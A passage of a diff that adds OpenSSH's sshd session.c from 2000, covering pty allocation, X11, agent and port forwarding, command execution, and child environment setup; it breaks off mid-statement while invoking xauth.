"includes.h" +RCSID("$OpenBSD: session.c,v 1.23 2000/07/11 08:11:33 deraadt Exp $"); + +#include "xmalloc.h" +#include "ssh.h" +#include "pty.h" +#include "packet.h" +#include "buffer.h" +#include "cipher.h" +#include "mpaux.h" +#include "servconf.h" +#include "uidswap.h" +#include "compat.h" +#include "channels.h" +#include "nchan.h" + +#include "bufaux.h" +#include "ssh2.h" +#include "auth.h" +#include "auth-options.h" + +#ifdef WITH_IRIX_PROJECT +#include +#endif /* WITH_IRIX_PROJECT */ + +#if defined(HAVE_USERSEC_H) +#include +#endif + +#ifdef HAVE_OSF_SIA +# include +# include +#endif + +/* types */ + +#define TTYSZ 64 +typedef struct Session Session; +struct Session { + int used; + int self; + int extended; + struct passwd *pw; + pid_t pid; + /* tty */ + char *term; + int ptyfd, ttyfd, ptymaster; + int row, col, xpixel, ypixel; + char tty[TTYSZ]; + /* X11 */ + char *display; + int screen; + char *auth_proto; + char *auth_data; + int single_connection; + /* proto 2 */ + int chanid; +}; + +/* func */ + +Session *session_new(void); +void session_set_fds(Session *s, int fdin, int fdout, int fderr); +void session_pty_cleanup(Session *s); +void session_proctitle(Session *s); +void do_exec_pty(Session *s, const char *command, struct passwd * pw); +void do_exec_no_pty(Session *s, const char *command, struct passwd * pw); + +void +do_child(const char *command, struct passwd * pw, const char *term, + const char *display, const char *auth_proto, + const char *auth_data, const char *ttyname); + +/* import */ +extern ServerOptions options; +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "sshd"; +#endif /* HAVE___PROGNAME */ + +extern int log_stderr; +extern int debug_flag; + +extern int startup_pipe; + +/* Local Xauthority file. */ +static char *xauthfile; + +/* data */ +#define MAX_SESSIONS 10 +Session sessions[MAX_SESSIONS]; +#ifdef WITH_AIXAUTHENTICATE +/* AIX's lastlogin message, set in auth1.c */ +char *aixloginmsg; +#endif /* WITH_AIXAUTHENTICATE */ + +/* + * Remove local Xauthority file. + */ +void +xauthfile_cleanup_proc(void *ignore) +{ + debug("xauthfile_cleanup_proc called"); + + if (xauthfile != NULL) { + char *p; + unlink(xauthfile); + p = strrchr(xauthfile, '/'); + if (p != NULL) { + *p = '\0'; + rmdir(xauthfile); + } + xfree(xauthfile); + xauthfile = NULL; + } +} + +/* + * Function to perform cleanup if we get aborted abnormally (e.g., due to a + * dropped connection). + */ +void +pty_cleanup_proc(void *session) +{ + Session *s=session; + if (s == NULL) + fatal("pty_cleanup_proc: no session"); + debug("pty_cleanup_proc: %s", s->tty); + + if (s->pid != 0) { + /* Record that the user has logged out. */ + record_logout(s->pid, s->tty); + } + + /* Release the pseudo-tty. */ + pty_release(s->tty); +} + +/* + * Prepares for an interactive session. This is called after the user has + * been successfully authenticated. During this message exchange, pseudo + * terminals are allocated, X11, TCP/IP, and authentication agent forwardings + * are requested, etc. + */ +void +do_authenticated(struct passwd * pw) +{ + Session *s; + int type; + int compression_level = 0, enable_compression_after_reply = 0; + int have_pty = 0; + char *command; + int n_bytes; + int plen; + unsigned int proto_len, data_len, dlen; + + /* + * Cancel the alarm we set to limit the time taken for + * authentication. + */ + alarm(0); + if (startup_pipe != -1) { + close(startup_pipe); + startup_pipe = -1; + } + + /* + * Inform the channel mechanism that we are the server side and that + * the client may request to connect to any port at all. (The user + * could do it anyway, and we wouldn\'t know what is permitted except + * by the client telling us, so we can equally well trust the client + * not to request anything bogus.) + */ + if (!no_port_forwarding_flag) + channel_permit_all_opens(); + + s = session_new(); + s->pw = pw; + + /* + * We stay in this loop until the client requests to execute a shell + * or a command. + */ + for (;;) { + int success = 0; + + /* Get a packet from the client. */ + type = packet_read(&plen); + + /* Process the packet. */ + switch (type) { + case SSH_CMSG_REQUEST_COMPRESSION: + packet_integrity_check(plen, 4, type); + compression_level = packet_get_int(); + if (compression_level < 1 || compression_level > 9) { + packet_send_debug("Received illegal compression level %d.", + compression_level); + break; + } + /* Enable compression after we have responded with SUCCESS. */ + enable_compression_after_reply = 1; + success = 1; + break; + + case SSH_CMSG_REQUEST_PTY: + if (no_pty_flag) { + debug("Allocating a pty not permitted for this authentication."); + break; + } + if (have_pty) + packet_disconnect("Protocol error: you already have a pty."); + + debug("Allocating pty."); + + /* Allocate a pty and open it. */ + if (!pty_allocate(&s->ptyfd, &s->ttyfd, s->tty, + sizeof(s->tty))) { + error("Failed to allocate pty."); + break; + } + fatal_add_cleanup(pty_cleanup_proc, (void *)s); + pty_setowner(pw, s->tty); + + /* Get TERM from the packet. Note that the value may be of arbitrary length. */ + s->term = packet_get_string(&dlen); + packet_integrity_check(dlen, strlen(s->term), type); + /* packet_integrity_check(plen, 4 + dlen + 4*4 + n_bytes, type); */ + /* Remaining bytes */ + n_bytes = plen - (4 + dlen + 4 * 4); + + if (strcmp(s->term, "") == 0) { + xfree(s->term); + s->term = NULL; + } + /* Get window size from the packet. */ + s->row = packet_get_int(); + s->col = packet_get_int(); + s->xpixel = packet_get_int(); + s->ypixel = packet_get_int(); + pty_change_window_size(s->ptyfd, s->row, s->col, s->xpixel, s->ypixel); + + /* Get tty modes from the packet. */ + tty_parse_modes(s->ttyfd, &n_bytes); + packet_integrity_check(plen, 4 + dlen + 4 * 4 + n_bytes, type); + + session_proctitle(s); + + /* Indicate that we now have a pty. */ + success = 1; + have_pty = 1; + break; + + case SSH_CMSG_X11_REQUEST_FORWARDING: + if (!options.x11_forwarding) { + packet_send_debug("X11 forwarding disabled in server configuration file."); + break; + } + if (!options.xauth_location) { + packet_send_debug("No xauth program; cannot forward with spoofing."); + break; + } + if (no_x11_forwarding_flag) { + packet_send_debug("X11 forwarding not permitted for this authentication."); + break; + } + debug("Received request for X11 forwarding with auth spoofing."); + if (s->display != NULL) + packet_disconnect("Protocol error: X11 display already set."); + + s->auth_proto = packet_get_string(&proto_len); + s->auth_data = packet_get_string(&data_len); + packet_integrity_check(plen, 4 + proto_len + 4 + data_len + 4, type); + + if (packet_get_protocol_flags() & SSH_PROTOFLAG_SCREEN_NUMBER) + s->screen = packet_get_int(); + else + s->screen = 0; + s->display = x11_create_display_inet(s->screen, options.x11_display_offset); + + if (s->display == NULL) + break; + + /* Setup to always have a local .Xauthority. */ + xauthfile = xmalloc(MAXPATHLEN); + strlcpy(xauthfile, "/tmp/ssh-XXXXXXXX", MAXPATHLEN); + temporarily_use_uid(pw->pw_uid); + if (mkdtemp(xauthfile) == NULL) { + restore_uid(); + error("private X11 dir: mkdtemp %s failed: %s", + xauthfile, strerror(errno)); + xfree(xauthfile); + xauthfile = NULL; + /* XXXX remove listening channels */ + break; + } + strlcat(xauthfile, "/cookies", MAXPATHLEN); + open(xauthfile, O_RDWR|O_CREAT|O_EXCL, 0600); + restore_uid(); + fatal_add_cleanup(xauthfile_cleanup_proc, NULL); + success = 1; + break; + + case SSH_CMSG_AGENT_REQUEST_FORWARDING: + if (no_agent_forwarding_flag || compat13) { + debug("Authentication agent forwarding not permitted for this authentication."); + break; + } + debug("Received authentication agent forwarding request."); + success = auth_input_request_forwarding(pw); + break; + + case SSH_CMSG_PORT_FORWARD_REQUEST: + if (no_port_forwarding_flag) { + debug("Port forwarding not permitted for this authentication."); + break; + } + debug("Received TCP/IP port forwarding request."); + channel_input_port_forward_request(pw->pw_uid == 0, options.gateway_ports); + success = 1; + break; + + case SSH_CMSG_MAX_PACKET_SIZE: + if (packet_set_maxsize(packet_get_int()) > 0) + success = 1; + break; + + case SSH_CMSG_EXEC_SHELL: + case SSH_CMSG_EXEC_CMD: + /* Set interactive/non-interactive mode. */ + packet_set_interactive(have_pty || s->display != NULL, + options.keepalives); + + if (type == SSH_CMSG_EXEC_CMD) { + command = packet_get_string(&dlen); + debug("Exec command '%.500s'", command); + packet_integrity_check(plen, 4 + dlen, type); + } else { + command = NULL; + packet_integrity_check(plen, 0, type); + } + if (forced_command != NULL) { + command = forced_command; + debug("Forced command '%.500s'", forced_command); + } + if (have_pty) + do_exec_pty(s, command, pw); + else + do_exec_no_pty(s, command, pw); + + if (command != NULL) + xfree(command); + /* Cleanup user's local Xauthority file. */ + if (xauthfile) + xauthfile_cleanup_proc(NULL); + return; + + default: + /* + * Any unknown messages in this phase are ignored, + * and a failure message is returned. + */ + log("Unknown packet type received after authentication: %d", type); + } + packet_start(success ? SSH_SMSG_SUCCESS : SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + + /* Enable compression now that we have replied if appropriate. */ + if (enable_compression_after_reply) { + enable_compression_after_reply = 0; + packet_start_compression(compression_level); + } + } +} + +/* + * This is called to fork and execute a command when we have no tty. This + * will call do_child from the child, and server_loop from the parent after + * setting up file descriptors and such. + */ +void +do_exec_no_pty(Session *s, const char *command, struct passwd * pw) +{ + int pid; + +#ifdef USE_PIPES + int pin[2], pout[2], perr[2]; + /* Allocate pipes for communicating with the program. */ + if (pipe(pin) < 0 || pipe(pout) < 0 || pipe(perr) < 0) + packet_disconnect("Could not create pipes: %.100s", + strerror(errno)); +#else /* USE_PIPES */ + int inout[2], err[2]; + /* Uses socket pairs to communicate with the program. */ + if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) < 0 || + socketpair(AF_UNIX, SOCK_STREAM, 0, err) < 0) + packet_disconnect("Could not create socket pairs: %.100s", + strerror(errno)); +#endif /* USE_PIPES */ + if (s == NULL) + fatal("do_exec_no_pty: no session"); + + session_proctitle(s); + +#ifdef USE_PAM + do_pam_setcred(); +#endif /* USE_PAM */ + + /* Fork the child. */ + if ((pid = fork()) == 0) { + /* Child. Reinitialize the log since the pid has changed. */ + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* + * Create a new session and process group since the 4.4BSD + * setlogin() affects the entire process group. + */ + if (setsid() < 0) + error("setsid failed: %.100s", strerror(errno)); + +#ifdef USE_PIPES + /* + * Redirect stdin. We close the parent side of the socket + * pair, and make the child side the standard input. + */ + close(pin[1]); + if (dup2(pin[0], 0) < 0) + perror("dup2 stdin"); + close(pin[0]); + + /* Redirect stdout. */ + close(pout[0]); + if (dup2(pout[1], 1) < 0) + perror("dup2 stdout"); + close(pout[1]); + + /* Redirect stderr. */ + close(perr[0]); + if (dup2(perr[1], 2) < 0) + perror("dup2 stderr"); + close(perr[1]); +#else /* USE_PIPES */ + /* + * Redirect stdin, stdout, and stderr. Stdin and stdout will + * use the same socket, as some programs (particularly rdist) + * seem to depend on it. + */ + close(inout[1]); + close(err[1]); + if (dup2(inout[0], 0) < 0) /* stdin */ + perror("dup2 stdin"); + if (dup2(inout[0], 1) < 0) /* stdout. Note: same socket as stdin. */ + perror("dup2 stdout"); + if (dup2(err[0], 2) < 0) /* stderr */ + perror("dup2 stderr"); +#endif /* USE_PIPES */ + + /* Do processing for the child (exec command etc). */ + do_child(command, pw, NULL, s->display, s->auth_proto, s->auth_data, NULL); + /* NOTREACHED */ + } + if (pid < 0) + packet_disconnect("fork failed: %.100s", strerror(errno)); + s->pid = pid; +#ifdef USE_PIPES + /* We are the parent. Close the child sides of the pipes. */ + close(pin[0]); + close(pout[1]); + close(perr[1]); + + if (compat20) { + session_set_fds(s, pin[1], pout[0], s->extended ? perr[0] : -1); + } else { + /* Enter the interactive session. */ + server_loop(pid, pin[1], pout[0], perr[0]); + /* server_loop has closed pin[1], pout[1], and perr[1]. */ + } +#else /* USE_PIPES */ + /* We are the parent. Close the child sides of the socket pairs. */ + close(inout[0]); + close(err[0]); + + /* + * Enter the interactive session. Note: server_loop must be able to + * handle the case that fdin and fdout are the same. + */ + if (compat20) { + session_set_fds(s, inout[1], inout[1], s->extended ? err[1] : -1); + } else { + server_loop(pid, inout[1], inout[1], err[1]); + /* server_loop has closed inout[1] and err[1]. */ + } +#endif /* USE_PIPES */ +} + +/* + * This is called to fork and execute a command when we have a tty. This + * will call do_child from the child, and server_loop from the parent after + * setting up file descriptors, controlling tty, updating wtmp, utmp, + * lastlog, and other such operations. + */ +void +do_exec_pty(Session *s, const char *command, struct passwd * pw) +{ + FILE *f; + char buf[100], *time_string; + char line[256]; + const char *hostname; + int fdout, ptyfd, ttyfd, ptymaster; + int quiet_login; + pid_t pid; + socklen_t fromlen; + struct sockaddr_storage from; + struct stat st; + time_t last_login_time; + + if (s == NULL) + fatal("do_exec_pty: no session"); + ptyfd = s->ptyfd; + ttyfd = s->ttyfd; + + /* Get remote host name. */ + hostname = get_canonical_hostname(); + + /* + * Get the time when the user last logged in. Buf will be set to + * contain the hostname the last login was from. + */ + if (!options.use_login) { + last_login_time = get_last_login_time(pw->pw_uid, pw->pw_name, + buf, sizeof(buf)); + } + +#ifdef USE_PAM + do_pam_session(pw->pw_name, s->tty); + do_pam_setcred(); +#endif /* USE_PAM */ + + /* Fork the child. */ + if ((pid = fork()) == 0) { + pid = getpid(); + + /* Child. Reinitialize the log because the pid has + changed. */ + log_init(__progname, options.log_level, options.log_facility, log_stderr); + + /* Close the master side of the pseudo tty. */ + close(ptyfd); + + /* Make the pseudo tty our controlling tty. */ + pty_make_controlling_tty(&ttyfd, s->tty); + + /* Redirect stdin from the pseudo tty. */ + if (dup2(ttyfd, fileno(stdin)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Redirect stdout to the pseudo tty. */ + if (dup2(ttyfd, fileno(stdout)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Redirect stderr to the pseudo tty. */ + if (dup2(ttyfd, fileno(stderr)) < 0) + error("dup2 stdin failed: %.100s", strerror(errno)); + + /* Close the extra descriptor for the pseudo tty. */ + /*XXX: Can't do that! When fd is 0 we get a lot of mess. + * A for-loop will close unused fd's anyway. -Sebastian. + close(ttyfd); + */ + +/* XXXX ? move to do_child() ??*/ + /* + * Get IP address of client. This is needed because we want + * to record where the user logged in from. If the + * connection is not a socket, let the ip address be 0.0.0.0. + */ + memset(&from, 0, sizeof(from)); + if (packet_connection_is_on_socket()) { + fromlen = sizeof(from); + if (getpeername(packet_get_connection_in(), + (struct sockaddr *) & from, &fromlen) < 0) { + debug("getpeername: %.100s", strerror(errno)); + fatal_cleanup(); + } + } + /* Record that there was a login on that terminal. */ + record_login(pid, s->tty, pw->pw_name, pw->pw_uid, hostname, + (struct sockaddr *)&from); + + /* Check if .hushlogin exists. */ + snprintf(line, sizeof line, "%.200s/.hushlogin", pw->pw_dir); + quiet_login = stat(line, &st) >= 0; + +#ifdef USE_PAM + if (!quiet_login) + print_pam_messages(); +#endif /* USE_PAM */ + + /* + * If the user has logged in before, display the time of last + * login. However, don't display anything extra if a command + * has been specified (so that ssh can be used to execute + * commands on a remote machine without users knowing they + * are going to another machine). Login(1) will do this for + * us as well, so check if login(1) is used + */ + if (command == NULL && last_login_time != 0 && !quiet_login && + !options.use_login) { + /* Convert the date to a string. */ + time_string = ctime(&last_login_time); + /* Remove the trailing newline. */ + if (strchr(time_string, '\n')) + *strchr(time_string, '\n') = 0; + /* Display the last login time. Host if displayed + if known. */ + if (strcmp(buf, "") == 0) + printf("Last login: %s\r\n", time_string); + else + printf("Last login: %s from %s\r\n", time_string, buf); + } + /* + * Print /etc/motd unless a command was specified or printing + * it was disabled in server options or login(1) will be + * used. Note that some machines appear to print it in + * /etc/profile or similar. + */ + if (command == NULL && options.print_motd && !quiet_login && + !options.use_login) { + /* Print /etc/motd if it exists. */ + f = fopen("/etc/motd", "r"); + if (f) { + while (fgets(line, sizeof(line), f)) + fputs(line, stdout); + fclose(f); + } + } +#if defined(WITH_AIXAUTHENTICATE) + /* + * AIX handles the lastlog info differently. Display it here. + */ + if (command == NULL && aixloginmsg && *aixloginmsg && + !quiet_login && !options.use_login) { + printf("%s\n", aixloginmsg); + } +#endif + /* Do common processing for the child, such as executing the command. */ + do_child(command, pw, s->term, s->display, s->auth_proto, + s->auth_data, s->tty); + /* NOTREACHED */ + } + if (pid < 0) + packet_disconnect("fork failed: %.100s", strerror(errno)); + s->pid = pid; + + /* Parent. Close the slave side of the pseudo tty. */ + close(ttyfd); + + /* + * Create another descriptor of the pty master side for use as the + * standard input. We could use the original descriptor, but this + * simplifies code in server_loop. The descriptor is bidirectional. + */ + fdout = dup(ptyfd); + if (fdout < 0) + packet_disconnect("dup #1 failed: %.100s", strerror(errno)); + + /* we keep a reference to the pty master */ + ptymaster = dup(ptyfd); + if (ptymaster < 0) + packet_disconnect("dup #2 failed: %.100s", strerror(errno)); + s->ptymaster = ptymaster; + + /* Enter interactive session. */ + if (compat20) { + session_set_fds(s, ptyfd, fdout, -1); + } else { + server_loop(pid, ptyfd, fdout, -1); + /* server_loop _has_ closed ptyfd and fdout. */ + session_pty_cleanup(s); + } +} + +/* + * Sets the value of the given variable in the environment. If the variable + * already exists, its value is overriden. + */ +void +child_set_env(char ***envp, unsigned int *envsizep, const char *name, + const char *value) +{ + unsigned int i, namelen; + char **env; + + /* + * Find the slot where the value should be stored. If the variable + * already exists, we reuse the slot; otherwise we append a new slot + * at the end of the array, expanding if necessary. + */ + env = *envp; + namelen = strlen(name); + for (i = 0; env[i]; i++) + if (strncmp(env[i], name, namelen) == 0 && env[i][namelen] == '=') + break; + if (env[i]) { + /* Reuse the slot. */ + xfree(env[i]); + } else { + /* New variable. Expand if necessary. */ + if (i >= (*envsizep) - 1) { + (*envsizep) += 50; + env = (*envp) = xrealloc(env, (*envsizep) * sizeof(char *)); + } + /* Need to set the NULL pointer at end of array beyond the new slot. */ + env[i + 1] = NULL; + } + + /* Allocate space and format the variable in the appropriate slot. */ + env[i] = xmalloc(strlen(name) + 1 + strlen(value) + 1); + snprintf(env[i], strlen(name) + 1 + strlen(value) + 1, "%s=%s", name, value); +} + +/* + * Reads environment variables from the given file and adds/overrides them + * into the environment. If the file does not exist, this does nothing. + * Otherwise, it must consist of empty lines, comments (line starts with '#') + * and assignments of the form name=value. No other forms are allowed. + */ +void +read_environment_file(char ***env, unsigned int *envsize, + const char *filename) +{ + FILE *f; + char buf[4096]; + char *cp, *value; + + f = fopen(filename, "r"); + if (!f) + return; + + while (fgets(buf, sizeof(buf), f)) { + for (cp = buf; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '#' || *cp == '\n') + continue; + if (strchr(cp, '\n')) + *strchr(cp, '\n') = '\0'; + value = strchr(cp, '='); + if (value == NULL) { + fprintf(stderr, "Bad line in %.100s: %.200s\n", filename, buf); + continue; + } + /* + * Replace the equals sign by nul, and advance value to + * the value string. + */ + *value = '\0'; + value++; + child_set_env(env, envsize, cp, value); + } + fclose(f); +} + +#ifdef USE_PAM +/* + * Sets any environment variables which have been specified by PAM + */ +void do_pam_environment(char ***env, int *envsize) +{ + char *equals, var_name[512], var_val[512]; + char **pam_env; + int i; + + if ((pam_env = fetch_pam_environment()) == NULL) + return; + + for(i = 0; pam_env[i] != NULL; i++) { + if ((equals = strstr(pam_env[i], "=")) == NULL) + continue; + + if (strlen(pam_env[i]) < (sizeof(var_name) - 1)) { + memset(var_name, '\0', sizeof(var_name)); + memset(var_val, '\0', sizeof(var_val)); + + strncpy(var_name, pam_env[i], equals - pam_env[i]); + strcpy(var_val, equals + 1); + + debug("PAM environment: %s=%s", var_name, var_val); + + child_set_env(env, envsize, var_name, var_val); + } + } +} +#endif /* USE_PAM */ + +#if defined(HAVE_GETUSERATTR) +/* + * AIX-specific login initialisation + */ +void set_limit(char *user, char *soft, char *hard, int resource, int mult) +{ + struct rlimit rlim; + int slim, hlim; + + getrlimit(resource, &rlim); + + slim = 0; + if (getuserattr(user, soft, &slim, SEC_INT) != -1) { + if (slim < 0) { + rlim.rlim_cur = RLIM_INFINITY; + } else if (slim != 0) { + /* See the wackiness below */ + if (rlim.rlim_cur == slim * mult) + slim = 0; + else + rlim.rlim_cur = slim * mult; + } + } + + hlim = 0; + if (getuserattr(user, hard, &hlim, SEC_INT) != -1) { + if (hlim < 0) { + rlim.rlim_max = RLIM_INFINITY; + } else if (hlim != 0) { + rlim.rlim_max = hlim * mult; + } + } + + /* + * XXX For cpu and fsize the soft limit is set to the hard limit + * if the hard limit is left at its default value and the soft limit + * is changed from its default value, either by requesting it + * (slim == 0) or by setting it to the current default. At least + * that's how rlogind does it. If you're confused you're not alone. + * Bug or feature? AIX 4.3.1.2 + */ + if ((!strcmp(soft, "fsize") || !strcmp(soft, "cpu")) + && hlim == 0 && slim != 0) + rlim.rlim_max = rlim.rlim_cur; + /* A specified hard limit limits the soft limit */ + else if (hlim > 0 && rlim.rlim_cur > rlim.rlim_max) + rlim.rlim_cur = rlim.rlim_max; + /* A soft limit can increase a hard limit */ + else if (rlim.rlim_cur > rlim.rlim_max) + rlim.rlim_max = rlim.rlim_cur; + + if (setrlimit(resource, &rlim) != 0) + error("setrlimit(%.10s) failed: %.100s", soft, strerror(errno)); +} + +void set_limits_from_userattr(char *user) +{ + int mask; + char buf[16]; + + set_limit(user, S_UFSIZE, S_UFSIZE_HARD, RLIMIT_FSIZE, 512); + set_limit(user, S_UCPU, S_UCPU_HARD, RLIMIT_CPU, 1); + set_limit(user, S_UDATA, S_UDATA_HARD, RLIMIT_DATA, 512); + set_limit(user, S_USTACK, S_USTACK_HARD, RLIMIT_STACK, 512); + set_limit(user, S_URSS, S_URSS_HARD, RLIMIT_RSS, 512); + set_limit(user, S_UCORE, S_UCORE_HARD, RLIMIT_CORE, 512); +#if defined(S_UNOFILE) + set_limit(user, S_UNOFILE, S_UNOFILE_HARD, RLIMIT_NOFILE, 1); +#endif + + if (getuserattr(user, S_UMASK, &mask, SEC_INT) != -1) { + /* Convert decimal to octal */ + (void) snprintf(buf, sizeof(buf), "%d", mask); + if (sscanf(buf, "%o", &mask) == 1) + umask(mask); + } +} +#endif /* defined(HAVE_GETUSERATTR) */ + +/* + * Performs common processing for the child, such as setting up the + * environment, closing extra file descriptors, setting the user and group + * ids, and executing the command or shell. + */ +void +do_child(const char *command, struct passwd * pw, const char *term, + const char *display, const char *auth_proto, + const char *auth_data, const char *ttyname) +{ + const char *shell, *cp = NULL; + char buf[256]; + char cmd[1024]; + FILE *f; + unsigned int envsize, i; + char **env; + extern char **environ; + struct stat st; + char *argv[10]; + + memset(cmd, 0, sizeof(cmd)); + memset(buf, 0, sizeof(buf)); + +#ifdef WITH_IRIX_PROJECT + prid_t projid; +#endif /* WITH_IRIX_PROJECT */ + + /* login(1) is only called if we execute the login shell */ + if (options.use_login && command != NULL) + options.use_login = 0; + +#ifndef USE_PAM /* pam_nologin handles this */ + f = fopen("/etc/nologin", "r"); + if (f) { + /* /etc/nologin exists. Print its contents and exit. */ + while (fgets(buf, sizeof(buf), f)) + fputs(buf, stderr); + fclose(f); + if (pw->pw_uid != 0) + exit(254); + } +#endif /* USE_PAM */ + +#ifndef HAVE_OSF_SIA + /* Set login name in the kernel. */ + if (setlogin(pw->pw_name) < 0) + error("setlogin failed: %s", strerror(errno)); +#endif + + /* Set uid, gid, and groups. */ + /* Login(1) does this as well, and it needs uid 0 for the "-h" + switch, so we let login(1) to this for us. */ + if (!options.use_login) { +#ifdef HAVE_OSF_SIA + extern char **saved_argv; + extern int saved_argc; + char *host = get_canonical_hostname (); + + if (sia_become_user(NULL, saved_argc, saved_argv, host, + pw->pw_name, ttyname, 0, NULL, NULL, SIA_BEU_SETLUID) != + SIASUCCESS) { + perror("sia_become_user"); + exit(1); + } + if (setreuid(geteuid(), geteuid()) < 0) { + perror("setreuid"); + exit(1); + } +#else /* HAVE_OSF_SIA */ + if (getuid() == 0 || geteuid() == 0) { +#if defined(HAVE_GETUSERATTR) + set_limits_from_userattr(pw->pw_name); +#endif /* defined(HAVE_GETUSERATTR) */ + + if (setgid(pw->pw_gid) < 0) { + perror("setgid"); + exit(1); + } + /* Initialize the group list. */ + if (initgroups(pw->pw_name, pw->pw_gid) < 0) { + perror("initgroups"); + exit(1); + } + endgrent(); + +#ifdef WITH_IRIX_ARRAY + /* initialize array session */ + if (newarraysess() != 0) + fatal("Failed to set up new array session: %.100s", + strerror(errno)); +#endif /* WITH_IRIX_ARRAY */ + +#ifdef WITH_IRIX_PROJECT + /* initialize irix project info */ + if ((projid = getdfltprojuser(pw->pw_name)) == -1) { + debug("Failed to get project id, using projid 0"); + projid = 0; + } + + if (setprid(projid)) + fatal("Failed to initialize project %d for %s: %.100s", + (int)projid, pw->pw_name, strerror(errno)); +#endif /* WITH_IRIX_PROJECT */ + + /* Permanently switch to the desired uid. */ + permanently_set_uid(pw->pw_uid); + } + if (getuid() != pw->pw_uid || geteuid() != pw->pw_uid) + fatal("Failed to set uids to %d.", (int) pw->pw_uid); +#endif /* HAVE_OSF_SIA */ + } + /* + * Get the shell from the password data. An empty shell field is + * legal, and means /bin/sh. + */ + shell = (pw->pw_shell[0] == '\0') ? _PATH_BSHELL : pw->pw_shell; + +#ifdef AFS + /* Try to get AFS tokens for the local cell. */ + if (k_hasafs()) { + char cell[64]; + + if (k_afs_cell_of_file(pw->pw_dir, cell, sizeof(cell)) == 0) + krb_afslog(cell, 0); + + krb_afslog(0, 0); + } +#endif /* AFS */ + + /* Initialize the environment. */ + envsize = 100; + env = xmalloc(envsize * sizeof(char *)); + env[0] = NULL; + + if (!options.use_login) { + /* Set basic environment. */ + child_set_env(&env, &envsize, "USER", pw->pw_name); + child_set_env(&env, &envsize, "LOGNAME", pw->pw_name); + child_set_env(&env, &envsize, "HOME", pw->pw_dir); + child_set_env(&env, &envsize, "PATH", _PATH_STDPATH); + + snprintf(buf, sizeof buf, "%.200s/%.50s", + _PATH_MAILDIR, pw->pw_name); + child_set_env(&env, &envsize, "MAIL", buf); + + /* Normal systems set SHELL by default. */ + child_set_env(&env, &envsize, "SHELL", shell); + } + if (getenv("TZ")) + child_set_env(&env, &envsize, "TZ", getenv("TZ")); + + /* Set custom environment options from RSA authentication. */ + while (custom_environment) { + struct envstring *ce = custom_environment; + char *s = ce->s; + int i; + for (i = 0; s[i] != '=' && s[i]; i++); + if (s[i] == '=') { + s[i] = 0; + child_set_env(&env, &envsize, s, s + i + 1); + } + custom_environment = ce->next; + xfree(ce->s); + xfree(ce); + } + + snprintf(buf, sizeof buf, "%.50s %d %d", + get_remote_ipaddr(), get_remote_port(), get_local_port()); + child_set_env(&env, &envsize, "SSH_CLIENT", buf); + + if (ttyname) + child_set_env(&env, &envsize, "SSH_TTY", ttyname); + if (term) + child_set_env(&env, &envsize, "TERM", term); + if (display) + child_set_env(&env, &envsize, "DISPLAY", display); + +#ifdef _AIX + { + char *authstate,*krb5cc; + + if ((authstate = getenv("AUTHSTATE")) != NULL) + child_set_env(&env,&envsize,"AUTHSTATE",authstate); + + if ((krb5cc = getenv("KRB5CCNAME")) != NULL) + child_set_env(&env,&envsize,"KRB5CCNAME",krb5cc); + } +#endif + +#ifdef KRB4 + { + extern char *ticket; + + if (ticket) + child_set_env(&env, &envsize, "KRBTKFILE", ticket); + } +#endif /* KRB4 */ + +#ifdef USE_PAM + /* Pull in any environment variables that may have been set by PAM. */ + do_pam_environment(&env, &envsize); +#endif /* USE_PAM */ + + read_environment_file(&env,&envsize,"/etc/environment"); + + if (xauthfile) + child_set_env(&env, &envsize, "XAUTHORITY", xauthfile); + if (auth_get_socket_name() != NULL) + child_set_env(&env, &envsize, SSH_AUTHSOCKET_ENV_NAME, + auth_get_socket_name()); + + /* read $HOME/.ssh/environment. */ + if (!options.use_login) { + snprintf(buf, sizeof buf, "%.200s/.ssh/environment", + pw->pw_dir); + read_environment_file(&env, &envsize, buf); + } + if (debug_flag) { + /* dump the environment */ + fprintf(stderr, "Environment:\n"); + for (i = 0; env[i]; i++) + fprintf(stderr, " %.200s\n", env[i]); + } + /* + * Close the connection descriptors; note that this is the child, and + * the server will still have the socket open, and it is important + * that we do not shutdown it. Note that the descriptors cannot be + * closed before building the environment, as we call + * get_remote_ipaddr there. + */ + if (packet_get_connection_in() == packet_get_connection_out()) + close(packet_get_connection_in()); + else { + close(packet_get_connection_in()); + close(packet_get_connection_out()); + } + /* + * Close all descriptors related to channels. They will still remain + * open in the parent. + */ + /* XXX better use close-on-exec? -markus */ + channel_close_all(); + + /* + * Close any extra file descriptors. Note that there may still be + * descriptors left by system functions. They will be closed later. + */ + endpwent(); + + /* + * Close any extra open file descriptors so that we don\'t have them + * hanging around in clients. Note that we want to do this after + * initgroups, because at least on Solaris 2.3 it leaves file + * descriptors open. + */ + for (i = 3; i < 64; i++) + close(i); + + /* Change current directory to the user\'s home directory. */ + if (chdir(pw->pw_dir) < 0) + fprintf(stderr, "Could not chdir to home directory %s: %s\n", + pw->pw_dir, strerror(errno)); + + /* + * Must take new environment into use so that .ssh/rc, /etc/sshrc and + * xauth are run in the proper environment. + */ + environ = env; + + /* + * Run $HOME/.ssh/rc, /etc/sshrc, or xauth (whichever is found first + * in this order). + */ + if (!options.use_login) { + if (stat(SSH_USER_RC, &st) >= 0) { + if (debug_flag) + fprintf(stderr, "Running "_PATH_BSHELL" %s\n", SSH_USER_RC); + + f = popen(_PATH_BSHELL " " SSH_USER_RC, "w"); + if (f) { + if (auth_proto != NULL && auth_data != NULL) + fprintf(f, "%s %s\n", auth_proto, auth_data); + pclose(f); + } else + fprintf(stderr, "Could not run %s\n", SSH_USER_RC); + } else if (stat(SSH_SYSTEM_RC, &st) >= 0) { + if (debug_flag) + fprintf(stderr, "Running "_PATH_BSHELL" %s\n", SSH_SYSTEM_RC); + + f = popen(_PATH_BSHELL " " SSH_SYSTEM_RC, "w"); + if (f) { + if (auth_proto != NULL && auth_data != NULL) + fprintf(f, "%s %s\n", auth_proto, auth_data); + pclose(f); + } else + fprintf(stderr, "Could not run %s\n", SSH_SYSTEM_RC); + } else if (options.xauth_location != NULL) { + /* Add authority data to .Xauthority if appropriate. */ + if (auth_proto != NULL && auth_data != NULL) { + char *screen = strchr(display, ':'); + if (debug_flag) { + fprintf(stderr, + "Running %.100s add %.100s %.100s %.100s\n", + options.xauth_location, display, + 